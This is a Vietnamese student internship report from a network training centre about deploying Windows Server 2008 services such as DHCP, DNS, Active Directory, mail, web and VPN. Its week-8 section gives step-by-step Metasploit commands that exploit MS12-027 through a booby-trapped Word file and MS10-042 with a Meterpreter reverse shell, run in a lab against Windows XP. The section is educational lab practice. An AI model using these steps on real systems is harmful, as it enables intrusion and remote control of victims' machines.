bao caotttn

TRƯỜNG ĐẠI HỌC MỞ THÀNH PHỐ HỒ CHÍ MINH

KHOA CÔNG NGHỆ THÔNG TIN

--------------------------------

NGUYỄN HUỲNH HƯỚNG

MSSS: 111C650047

NGHIÊN CỨU VÀ TRIỂN KHAI CÁI DỊCH VỤ MẠNG TRÊN WINDOWS SEVER 2008

BÁO CÁO THỰC TẬP TỐT NGHIỆP

Ngành: Công Nghệ Thông Tin

Hướng chuyên ngành: Quản Trị Mạng

Lớp: CD11TH02

NGƯỜI HƯỚNG DẪN KHOA HỌC

Nguyễn Cao Tùng

Thành phố Hồ Chí Minh – Năm 2014

LỜI CÁM ƠN

Để hoàn thành bài báo cáo thực tập tốt nghiệp này, em xin bày tỏ lòng biết ơn sâu sắc

đến Thầy Nguyễn Cao Tùng đã tận tình hướng dẫn em trong suốt quá trình làm báo cáo

thực tập.

Em xin chân thành cảm ơn quý thầy cô trong khoa Công Nghệ Thông Tin của trường

Đại Học Mở TP.HCM đã truyền đạt những kiến thức cho em trong suốt thời gian học tại

trường. Với vốn kiến thức tiếp thu được trong quá trình học không chỉ là nền tảng cho em

viết bài mà còn là hành trang quý báu cho em bước vào đời.

Em xin chân thành cảm ơn ban lãnh đạo Trung Tâm Đào Tạo Quản Tri Mạng & An

ninh Mạng Quốc Tế ATHENA đặc biệt là Thầy Võ Đỗ Thắng đã tạo điều kiện cho em

được thực tập tại trung tâm. Em xin gởi lời cảm ơn đến toàn thể các anh, chị , bạn bè

trong phòng công nghệ thông tin đã nhiệt tình hướng dẫn em trong suốt thời gian thực tập

và đã tạo cho em tiếp cận và thử nghiệm với công việc.

Cuối cùng em xin gởi lời chúc sức khỏe dồi dào và thành đạt trong sự nghiệp đến các

thầy cô và tập thể Trung Tâm Đào Tạo Quản Tri Mạng & An ninh Mạng Quốc Tế

ATHENA .Em xin chân thành cảm ơn!

ĐÁNH GIÁ KẾT QUẢ THỰC TẬP CỦA KHOA

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

.......................................................................................................................................................................

M c L cụ ụ

I. GIỚI THIỆU VỀ CÔNG TY THỰC TẬP........................................................................................6

1. Giới thiệu về công ty..................................................................................................................6

a. Giới thiệu về Athena..............................................................................................................6

b. Trụ sở và các chi nhánh........................................................................................................7

c. Quá trình hình thành và phát triển......................................................................................7

2. Sơ đồ tổ chức..............................................................................................................................9

3. Phòng ban sinh viên thực tập...............................................................................................10

II. NỘI DUNG THỰC TẬP..................................................................................................................10

1. Nhiệm vụ chính được giao thực tập....................................................................................10

a. Tổng quát................................................................................................................................10

b. Kiến thức cần tìm hiểu........................................................................................................11

2. Lịch làm việc tại công ty thực tập........................................................................................12

LỊCH THỰC TẬP TẠI TRUNG TÂM ATHENA..............................................................................12

3. Nội dung công việc thực tập..................................................................................................12

4. Tuần 1..........................................................................................................................................12

5. Tuần 2..........................................................................................................................................13

a. DHCP........................................................................................................................................13

b. DNS..........................................................................................................................................13

c. Active Directory.....................................................................................................................14

d. Web Sever...............................................................................................................................15

e. Mail Sever...............................................................................................................................16

6. Tuần 3..........................................................................................................................................17

7. Tuần 4..........................................................................................................................................17

a. Multi Domain..........................................................................................................................17

8. Tuần 5..........................................................................................................................................18

9. Tuần 6..........................................................................................................................................19

10. Tuần 7......................................................................................................................................20

a. Mail Sever trên VPS..............................................................................................................20

b. Web Sever trên VPS.............................................................................................................21

c. VPN trên VPS.........................................................................................................................21

11. Tuần 8......................................................................................................................................22

a. Khai thác mã lỗi MS12_027.................................................................................................23

b. Khai thác mã lỗi MS10_042.................................................................................................23

III. KẾT QUẢ ĐẠT ĐƯỢC QUA ĐỢT THỰC TẬP......................................................................24

1. Những kiến thức lý thuyết được củng cố..........................................................................24

2. Những kỹ năng thực hành được học thêm........................................................................25

3. Những kinh nghiệm thực tiễn được tích lũy......................................................................25

Báo Cáo Thực Tập SVTH: Nguyễn Huỳnh Hướng

I. GIỚI THIỆU VỀ CÔNG TY THỰC TẬP1. Giới thiệu về công ty

a. Giới thiệu về Athena

Trung Tâm Đào Tạo Quản Tri Mạng & An ninh Mạng Quốc Tế ATHENA

được thành lập từ năm 2004, là tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng

động, nhiệt huyết và kinh nghiệm trong lãnh vực Công Nghệ Thông Tin, với tâm

huyết góp phần vào công cuộc thúc đẩythúc đẩy tiến trình đưa Công Nghệ Thông

tin là nghành kinh tế mũi nhọn, góp phần phát triển nước nhà.

Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINNG

NETWORK SECURITY COMPANY LIMITED ATHENA đã và đang tập

trung chủ yếu vào các hoạt động sau:

-Công tác huấn luyện, quảng bá kiến thức tin học, đặc biệt trong lĩnh vực mạng

máy tính internet bảo mật và thương mại điện tử...

-Tư vấn và hỗ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản

xuất kinh doanh.

-Cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên

gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức doanh

nghiệp có nhu cầu.

-Tiến hành các hoạt động nghiên cứa nâng cao kiến thức tin học và phát triển cơ

sở dữ liệu thông tin về các ứng dụng và sự cố mạng.

-Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hơp xảy

ra sự cố máy tính.

b. Trụ sở và các chi nhánh Trụ sở chính

Trung tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Số 2 Bis

Đinh Tiên Hoàng, phường Đa Kao,Quận 1, TPHCM.

+Website: www.athena.edu.vn

+Điện thoại: (84-8)38244041

+Hotline: 0943230099

-1-

http://www.athena.edu.vn/


Cơ sở 2

Trung tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA 92 Nguyễn

Đình chiễu, phường Đa Kao, Quận 1, TPHCM

+Website: www.athena.edu.vn

+Điện thoại: ( 84-8 ) 2210 3801.

+Hotline: 0943 20 00 88.

c. Quá trình hình thành và phát triển

Quá trình hình thành

Năm 2000, một nhóm các thành viên là những doanh nhân tài năng và thành

công trong lĩnh vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc

đào tạo nền công nghệ thông tin nước nhà.

Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo cùng

với tầm nhìn xa về tương lai của ngành công nghệ thông tin trong tương lai, họ đã

quy tụ được một lực lượng lớn đội ngũ công nghệ thông tin trước hết là làm nhiệm

vụ ứng cứu máy tính cho các doanh nghiệp, cá nhân có nhu cầu. Bước phát triển

tiếp theo là vươn tầm đào đạo đội ngũ cán bộ công nghệ thông tin cho đất nước và

xã hội.

Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, hay còn gọi là

Trung tâm đào tạo Quản trị và An ninh mạng Quốc Tế Athena (tên thương hiệu

viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo

giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh

cấp ngày 04 tháng 11 năm 2008.

Quá trình phát triển

-2-

http://www.athena.edu.vn/


Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình.

Trung tâm trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm

cài đặt hệ thống an ninh mạng và đào tạo cho đội ngũ nhân viên của các doanh

nghiệp về các chương trình quản lý dự án MS Project 2003, kỹ năng thương mại

điện tử, bảo mật web… và là địa chỉ tin cậy của nhiều học sinh_sinh viên đến đăng

kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao hơn nữa

đội ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công

nghệ thông tin của đất nước nói chung, các doanh nghiệp, cá nhân nói riêng.

Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra

thêm một chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội

ngũ giảng viên là những chuyên gia an ninh mạng tốt nghiệp các trường đại học và

học viện công nghệ thông tin uy tín trên toàn quốc, đồng thời trong thời gian này

Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực công nghệ

thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ giảng

viên của trung tâm.

Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng

mọc lên, cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm

rơi vào nhiều khó khăn. Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút

vốn khỏi công ty gây nên sự hoang man cho toàn bộ hệ thống trung tâm.Cộng

thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động không còn hiệu quả phải

đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác.

Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp

phần vào tiến trình tin học hóa của đất nước.Ông Võ Đỗ Thắng mua lại cổ phần

của hai nhà đầu tư lên làm giám đốc và xây dựng lại trung tâm.Đây là một bước

chuyển mình có ý nghĩa chiến lược của trung tâm.Mở ra một làn gió mới và một

giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh thần thép đã giúp ông

Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong thời kì

khủng hoảng.

-3-


Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược.

Trung tâm đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo

hoạt động của mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm

đào tạo quản trị mạng hàng đầu Việt Nam. Cùng với sự liên kết của rất nhiều công

ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và cung cấp nguồn nhân

lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp phần vào

tiến trình tin học hóa nước nhà.

2. Sơ đồ tổ chức

3. Phòng ban sinh viên thực tập

-4-


Bộ phận thực tập : Bộ phận triển khai kỹ thuật.

Nhiệm vụ và dịch vụ:

-Triển khai lắp đặt hệ thống mạng.

-Bảo trì hệ thống mạng.

-Tư vấn hỗ trợ quản trị hệ thống mạng.

II. NỘI DUNG THỰC TẬP1. Nhiệm vụ chính được giao thực tập

a. Tổng quát Triển khai các dịch vụ mạng trên Windows Server 2008. Yêu cầu nhiệm vụ: Có kiến thức tốt về Network, System, Security. Môi trường thực tập VMWare:

VMWare WorkStation là một phần mềm giúp tạo máy ảo.

Chạy các ứng dụng trên nhiều hệ điều hành bao gồm cả Linux, Windows và

nhiều hơn nữa cùng một lúc trên cùng một máy tính mà không cần khởi động

lại.

Giúp đánh giá và kiểm tra hệ điều hành mới, các ứng dụng và các bản vá lỗi

trong một môi trường bị cô lập.

Củng cố nhiều máy tính chạy các máy chủ web, máy chủ cơ sở dữ liệu, vv

vào một máy tính duy nhất.

Xây dựng kiến trúc tham khảo để đánh giá trước khi triển khai vào sản

xuất.Như việc trong khi thực hành về máy Windows Server 2008 trên máy ảo để

nghiên cứu trước khi triển khai trên hệ thống thật.

b. Kiến thức cần tìm hiểu

-5-


Hệ thống mạng của doanh nghiệp đơn giản hay phức tạp là tùy theo quy mô

và loại hình của doanh nghiệp. Ngày nay, các nhà cung ứng đã đưa ra rất nhiều

sự chọn lựa cho doanh nghiệp như cho phép doanh nghiệp tự trang bị, tự quản lý

hoặc sử dụng dịch vụ.Những doanh nghiệp lớn với hàng ngàn máy tính cũng có

những giải pháp quản lý đặc thù kết hợp cả phần cứng và phần mềm.

Hầu hết các doanh nghiệp đều có nhu cầu sử dụng các ứng dụng công nghệ

sthông tin (CNTT) ở những mức độ khác nhau. Do vậy, họ sẽ có những nhu cầu

khác nhau về quản trị hệ thống mạng (network) của doanh nghiệp. Một hệ thống

được kiểm soát tốt sẽ làm giảm đáng kể chi phí hoạt động, nâng cao hiệu quả

cũng như độ tin cậy của hệ thống.

Tùy vào qui mô lớn hay nhỏ của doanh nghiệp mà ta sẽ có những giải pháp

công nghệ và thiết kế sao cho phù hợp nhất.

Hiện nay, hầu hết các ứng dụng mới đều yêu cầu rất nhiều tài nguyên của hệ

thống và băng thông mạng, cũng như các yêu cầu về điều khiển, giám sát mạng.

Vậy làm thế nào để một doanh nghiệp vừa và nhỏ, với một số vốn đầu tư ban đầu

hạn chế, có thể tiếp cận được với các công nghệ hiện đại, bắt kịp sự phát triển của

thế giới.

2. Lịch làm việc tại công ty thực tập Thời gian thực tập thừ 17-2 đến 17-4 trong vòng 2 tháng. Thực tập vào buổi sáng các thứ 3, 5,7 hàng tuần. Thời gian thực tập từ 7h00 đến 11h00.

LỊCH THỰC TẬP TẠI TRUNG TÂM ATHENA

STTTuần

Tuần 1 Tuần 2 Tuần 3 Tuần 4 Tuần 5 Tuần 6 Tuần 7 Tuần 8

-6-


3. Nội dung công việc thực tập

Phần 1: Triển khai trên local host các dịch vụ Windows Sever 2008

-Triển khai các dịch vụ AD,DNS,DHCP,VPN, Mail, WEB.

-Nghiên cứu cơ chế Multi Domain giữa các Sever 2008.

Phần 2: Triển khai các dịch vụ VPS (Sever) các dịch vụ mail, Web, VPN.

-Đăng kí Domain quốc tế.

-Xây dựng mail Sever để có thể gửi, nhận mail với yahoo, gmail.

- Xây dựng VPN Sever để kết nối từ xa qua Internet.

Phần 3 :Nghiên cứu bảo mật Windows…Systemhaking, khai thác lỗ hỏng

Windows

4. Tuần 1

Đến Trung Tâm Athena, gặp giáo viên hướng dẫn.

Tiến hành nhận tài liệu và đĩa CD.

Nghe phổ biến công việc thực tập tại trung tâm,

Sau đó, tiến hành cài đặt Máy ảo Sever 2008 trên VMWare.

5. Tuần 2

-Bắt đầu triển khai trên local host các dịch vụ Windows Sever 2008 bao gồm như :

DHCP, ActiveDirectory, Multi Domain, Web sever và Mail Sever.

a. DHCP

Mục tiêu

Xây dựng máy chủ cấp phát địa chỉ IP động cho các máy cho mạng LAN

Mô hình

-7-


Lưu ý

Nếu thực hiện trên VW- Ware thì phải tắt tính năng DHCP trong mục

Virtual Network Editor.

Trong cùng một hệ thống, chỉ sử dụng một DHCP.Server để cấp phát IP.

Xem Video Demo tạo DHCP: https://www.youtube.com/watch?

v=x8CB8kreLXY

b. DNS

Mục tiêu

Phân giải IP thành tên địa chỉ.

Phân giải tên địa chỉ thành IP.

Mô hình

-8-

https://www.youtube.com/watch?v=x8CB8kreLXY



Lưu ý

Khi thực hiện trên máy ảo VM-ware, các card mạng sẽ thiết lập ở chế độ

HOST ONLY.

Nên tắt tính năng Windows Firewall trên các máy Server và PC.

Các bước thực hiện

Bước 1: Cấu hình phân giải xuôi từ IP -> Tên.

Bước 2 : Cấu hình phân giải ngược từ Tên -> IP.

Bước 3: kiểm tra trên máy Sever.

Bước 4: kiểm tra trên máy client.

c. Active Directory Mục tiêu

Cài Domain Controller trên máy server2 và tiến hành join PC1 vào domain

và đăng nhập .

Domain Administrator để sử dụng Administrative Tools cho máy PC1.

Mục tiêu cuối cùng: cài đặt Domain Controller và join PC1 vào Domain

Mô hình

Lưu ý


HOST ONLY.


Mục tiêu cuối cùng

-9-


Cài đặt Domain Controller và join PC vào Domain thành công.

Các bước thực hiện Bước 1: Cài đặt Domain Controller trên máy PC.

Bước 2: Cấu hình Donmain Default cho phép tạo user với password đơn

giản.

Bước 3: Cấu hình Default Policy để cho phép user bình thường đăng nhập

vào local.

Bước 4: Join Domain cho máy PC.

Xem Video Demo Active Dirtory: https://www.youtube.com/watch?

v=vo7bsqFU0cs

d. Web Sever Mục tiêu

Cài đặt dịch vụ IIS trên Windows Server 2008.

Ứng dụng dịch vụ IIS để triển khai Web Server và FTP Server.

Mô hình

Lưu ý


HOST ONLY.



Bước 1: Cài đặt IIS.

-10-

https://www.youtube.com/watch?v=vo7bsqFU0cs



Bước 2: Tạo một trang Web và kiểm tra.

Bước 3: Tạo một FTP Site và kiểm tra.

Bước 4: Kiểm tra tren máy Sever.

Bước 5: Kiểm tra trên máy Client.

Xem video Demo Web Sever:

https://www.youtube.com/watch?v=z-bHCd1RsPw

e. Mail Sever Mục tiêu

Cài đặt dịch vụ Mail Sever trên Windows Server 2008.

Ứng dụng dịch vụ Mail để tiến hành gửi, nhận Mail giữa các máy Client.

Nghiên cứu về Multi Domain.

Mô hình


Bước 1: Cài đặt Mdeamon.

Bước 2: Thiết lập cấu hình cho Mail.

Bước 3: Tạo các tài khoản.

Bước 4: Kiểm tra Mail trên máy Client

Xem Video Demo Mail Sever:

https://www.youtube.com/watch?v=gXtgXoAHK9Y

6. Tuần 3

-11-




Quay video báo cáo về những gì đã làm được và đăng lên http://youtube.com rồi gửi link cho Thầy hướng dẫn. Bắt đầu làm về Multi domain.

7. Tuần 4 -Tiếp tục nghiên cứu về Multi Domain và sau đó tiến hành cài đặt.

a. Multi Domain Mô hình


Sau đó tiến hành cài đặt Active Directory với tên Domain.

Tiền hành join Domain của máy Sever2 vào máy Sever 1. Đồng thời tạo

các user trên cả 2 Sever, kiểm tra các user trên cả 2 Sever.

Khi đã join thành công sever2 vào doamain của sever1, ta tiếp tục nâng cấp

Domain của sever2.

Hoàn thanh qui trình cài đặt ,máy sẽ tiến hành restart lại.Tiến hành kiểm tra

cả hai server.

Xem Video Demo Multi Domain:

https://www.youtube.com/watch?v=QKe9tMir94w

-12-


http://youtube.com/


8. Tuần 5 Báo cáo nội dung phần 1 bằng File Word đăng lên http://slideshare.net.

File Word:

http://www.slideshare.net/kutmujbl/bo-co-thc-tp-gia-k-32518397.

File Power Point Báo cáo giữa kỳ

http://www.slideshare.net/kutmujbl/bo-co-giua-k-power-point

Nộp link báo cáo video gửi cho Thầy và Trung Tâm.

Link Video:

https://www.youtube.com/watch?v=x8CB8kreLXY Cài đặt DHCP.

https://www.youtube.com/watch?v=vo7bsqFU0cs Cài đặt Domain.

https://www.youtube.com/watch?v=QKe9tMir94w Tạo Multi Domain.

https://www.youtube.com/watch?v=z-bHCd1RsPw Web Sever.

https://www.youtube.com/watch?v=gXtgXoAHK9Y Mail Sever.

File Word bài báo cáo cuối kỳ :

http://www.slideshare.net/kutmujbl/bcck

9. Tuần 6

Các bước đăng ký:

Tìm hiểu về đăng kí Domain quốc tế.

Đăng kí được free Domain: Đăng kí thành công Domain với tên miền

www.kutmujbl.tk và www.huynhhuong.tk

Bước 1: Truy cập địa chỉ website: http://dot.tk

Bước 2 : Gõ tên miền muốn đăng ký.

-13-

http://dot.tk/

http://www.huynhhuong.tk/

http://www.kutmujbl.tk/

http://www.slideshare.net/kutmujbl/bcck






http://www.slideshare.net/kutmujbl/bo-co-giua-k-power-point

http://www.slideshare.net/kutmujbl/bo-co-thc-tp-gia-k-32518397

http://slideshare.net/


Bước 3 : Chọn tên miền của để vào phần quản lý tên miền.

Bước 4: Chọn: Custom DNS, - Thêm 2 bản ghi ns.ttndns.com và

ns2.ttndns.com à Registration length - chọn thời gian bạn muốn sử dụng tên

miền .tkàSau đó ấn nút SIGN UP.

Bước 5: - Nếu đã có các tài khoản của: Facebook, Google, Windows Live

ID, Yahoo, Aol., flickr thì có thể chọn 1 trong các tài khoản có để đăng kí tên

miềnàNếu không có tài khoản trên, ấn vào chữ "email address" và điền email

mà muốn đăng kí vào, sau đó ấn Next.

Bước 6: Điền thông tin sau đó ấn nút Create Account để hoàn tất việc đăng

kí tên miền .tk

Bước 7: Vào phần quản lý website ở Webmienphi.vn, vào menu "Thông

tin, cài đặt tên miền", thêm tên miền vừa trỏ, đợi vài tiếng tùy nhà mạngàđã

đăng kí và trỏ IP thành công với tên miền .tk

Triển khai các dịch vụ trên VPS

Đăng kí thành công dịch vụ VPS cung cấp bởi ATHENA với địa chỉ IP:

14.0.31.173

10. Tuần 7

-Triển khai các dịch vụ trên VPS bao gồm : Mail Sever, Web Sever.

a. Mail Sever trên VPS

Mục tiêu:

Cài đăt Mdeamon trên máy chủ ảo VPS.

Tiến hành gởi nhận mail qua các tài khoản Yahoo, Gmail.

-14-


Mô hình:

Các bước thực hiện:

Bước 1: Cài đặt Mdeamon.

Bước 2: Thiết lập cấu hình cho Mail.

Bước 3: Tạo các tài khoản.

Bước 4: Kiểm tra Mail qua tài khoản Yahoo và tài khoản Gmail.

Xem Video Demo Mail Sever trên VPS:

https://www.youtube.com/watch?v=38QKBM9odyg

b. Web Sever trên VPS

Mô hình

Mục tiêu

Cài đặt dịch vụ Web Sever (Xampp 1.7.3)trên máy chủ ảo VPS trên nền

Wordpress.

Thực hiện truy cập trang web vừa tạo trên trình duyệt web.

-15-

https://www.youtube.com/watch?v=38QKBM9odyg



Bước 1: Cài đặt phần mềm XamPP 1.7.3.

Bước 2: Cấu hình Xampp.

Bước 3: Cấu hình file Wordpress.

Bước 4: Kiểm tra trang Web vừa tạo.

Xem Video Demo Web Sever trên VPS:

https://www.youtube.com/watch?v=iCHMO3zMbt8

c. VPN trên VPS

Mục tiêu:

Cài đặt Routing and Remote Access(Lan Routing , VPN)

Cấu hình VPN cho phép PC1 truy cập vào máy PC2.

Kiểm tra dịch vụ bằng thư mục chia sẽ trên PC1.

Mô hình:

Lưu ý: : nếu thực hiện trên môi trường máy ảo Vmware nên tắt tường lửa

cả Sever và PC.


Bước 1: cài đặt Routing and remote access.

Bước 2 : cấu hình Routing and remote access.

Bước 3 : tạo tài khoản trên sever và cấp quyền truy cập VPN

Bước 4: tạo kết nối VPN trên máy PC2.

\Bước 5:Share thư mục PC1 và tiền hành truy cập từ PC2 share.

Xem video Demo VPN: https://www.youtube.com/watch?

v=9Kz7zLKZ5As&feature=youtu.be

-16-

https://www.youtube.com/watch?v=9Kz7zLKZ5As&feature=youtu.be

https://www.youtube.com/watch?v=9Kz7zLKZ5As&feature=youtu.be

https://www.youtube.com/watch?v=iCHMO3zMbt8


11. Tuần 8

-Nghiên cứa Bảo mật Windows System Hacking , khai thác lỗ hỏng Windows.

-Tiến hành cài đăt hệ điều hành BackTrack R3 cho máy ảo Vmware.

-Xem các video và tài liệu hướng dẫn do Trung Tâm Athena.

-Sau đó, tiến hành Demo trên máy áo, khai thác các mã lổi: MS12_027,

MS10_004, MS12_042, MS10_090.

a. Khai thác mã lỗi MS12_027


Bước 1: Khởi động BackTrack5, đăng nhập và mở giao diện đồ họa.

Bước 2: Kiểm tra địa chỉ IP của máy bằng câu lệnh “ifconfig” à khời động

giao diện matasplot bằng câu lệnh “msfconsole” à tiến hành tìm mã lỗi bằng câu

lệnh “search MS12_027” lệnh này khai thác mã lỗi thông qua Microsoft Word

2007 à sử dụng lỗi với lệnh “use” à Tiến hành tạo file word bằng câu lệnh “set

FILENAME tenfile.doc” à sau đó dùng lệnh “set PAYLOAD

windows/meterprerter/reverse_tcp” à gõ lệnh “set LHOST diachiIP BackTrack”

à tiếp theo gõ lệnh “ set LPORT 7777” à phân giải các câu lệnh trên bằng câu

lệnh “exploit” sau đó hệ thống sẽ tạo nên File word , tiến hành copy File đó ra

man hình Desktop à sau đó copy File word vào thực muc “var/www” trong hệ

thống àta tiến hành khởi động handler bằng câu lệnh “use

exploit/multi/handler”àta thiết lập LHOST và LPORT lại một lần nữa à sau đó

phân giải các lệnh trên bằng lệnh “exploit”à đưa File Word vừa tạo lên host bằng

câu lệnh” /etc/init.d/apache2 start.

Bước 3: Chuyển qua máy XP tiến hành mở trình duyệt gõ địa

VD:192.168.60.128/ms12_027.doc à tiến hành lưa File và mởà Khi mở File

word vừa tải thì máy XP sẽ bị hack. Dùng lệnh sysinfo để kiểm tra. Như vậy ta đã

hoàn thành khai thác lỗi MS12_027 trên win XP.

Xem Video Demo Mã lỗi MS12_027:

-17-


https://www.youtube.com/watch?v=EdiKmssKFeE

b. Khai thác mã lỗi MS10_042


Bước 1: Khởi động BackTrack5, đăng nhập và mở giao diện đồ họa.

Bước 2: Kiểm tra địa chỉ IP của máy bằng câu lệnh “ifconfig” à khời động

giao diện matasplot bằng câu lệnh “msfconsole” à tiến hành tìm mã lỗi bằng câu

lệnh “search MS10_042”à sử dụng lệnh trên bằng câu lệnh “use”à sau đó gõ

lệnh “set SRVHOST diachiIPBackTrack” thiết lập SRVHOST à sau đó dùng lệnh

“set PAYLOAD windows/meterprerter/reverse_tcp” à gõ lệnh “set LHOST

diachiIP BackTrack” à tiếp theo gõ lệnh “ set LPORT 7777” à phân giải các câu

lệnh trên bằng câu lệnh “exploit” .

Bước 3: Chuyển qua máy XP mở trinh duyệt và gõ địa chỉ VD:

192.168.60.128:80 à máy XP sẽ bị hack. Dùng lệnh sysinfo để kiểm tra. Như vậy

ta đã hoàn thành khai thác lỗi MS10_042 trên win XP.

Xem Video Demo Mã lỗi MS10_042:

https://www.youtube.com/watch?v=G4Dj3blJTZE

III. KẾT QUẢ ĐẠT ĐƯỢC QUA ĐỢT THỰC TẬP

1. Những kiến thức lý thuyết được củng cố

Sau khi tìm hiểu và triển khai các dịch vụ trên máy ảo VMWare và VPS em đã có thêm

kiến thức về:

Nguyên lý cơ bản của hệ điều hành mạng, kiến thức về hệ thống mạng, có

kỹ năng cần thiết để cài đặt, cấu hình hoàn chỉnh mạng doanh nghiệp cỡ vừa và

lớn dựa vào Windows Server 2008.

Hiểu về cấu trúc hạ tầng, thiết kế và quản trị hệ thống mạng, nhiệm vụ quản

lý bao gồm việc điều hành và hỗ trợ hệ thống.

-18-

https://www.youtube.com/watch?v=G4Dj3blJTZE

https://www.youtube.com/watch?v=EdiKmssKFeE


Triển khai, thiết kế, quản lý và chuẩn đoán hỏng hóc cho một hệ thống

mạng.

Có thêm các kiến thức trên nền tảng công nghệ Windows Server 2008.

2. Những kỹ năng thực hành được học thêm

Các thành viên trong nhóm đã định hướng rõ ràng mục tiêu sắp tới sẽ làm.

Tự tin hơn trong việc giao tiếp với mọi người trong công việc.

Nâng cao khả năng làm việc nhóm cũng như khả năng tự bản thân giải

quyết vấn đề khó khăn gặp phải trong công việc.

3. Những kinh nghiệm thực tiễn được tích lũy

Có cái nhìn thực tế về việc cấu hình, quản lý một hệ thống mạng của một

doanh nghiệp thông qua nền tảng.

Được trực tiếp tiếp xúc những công nghệ và thiết bị mà trước đây chỉ biết

đến thông qua sách vở.

Được vận dụng những kiến thức tiếp thu trên lớp vào công việc thực tế.

Bổ sung và trau dồi những thiếu sót về kiến thức trong quá trình học trên

lớp.

Trực tiếp triển khai và cấu hình trên máy chủ ảo VPS.

Có kinh nghiệm trong việc khắc phục sự cố khi hệ thống gặp lỗi.

Xem video giới thiệu bản thân:

https://www.youtube.com/watch?v=JIfwLhdQ9WM

Xem video giới thiệu về nội dung thực tập:

https://www.youtube.com/watch?v=K4uNQ_BoVJs

-19-

https://www.youtube.com/watch?v=K4uNQ_BoVJs

https://www.youtube.com/watch?v=JIfwLhdQ9WM

bao caotttn

Documents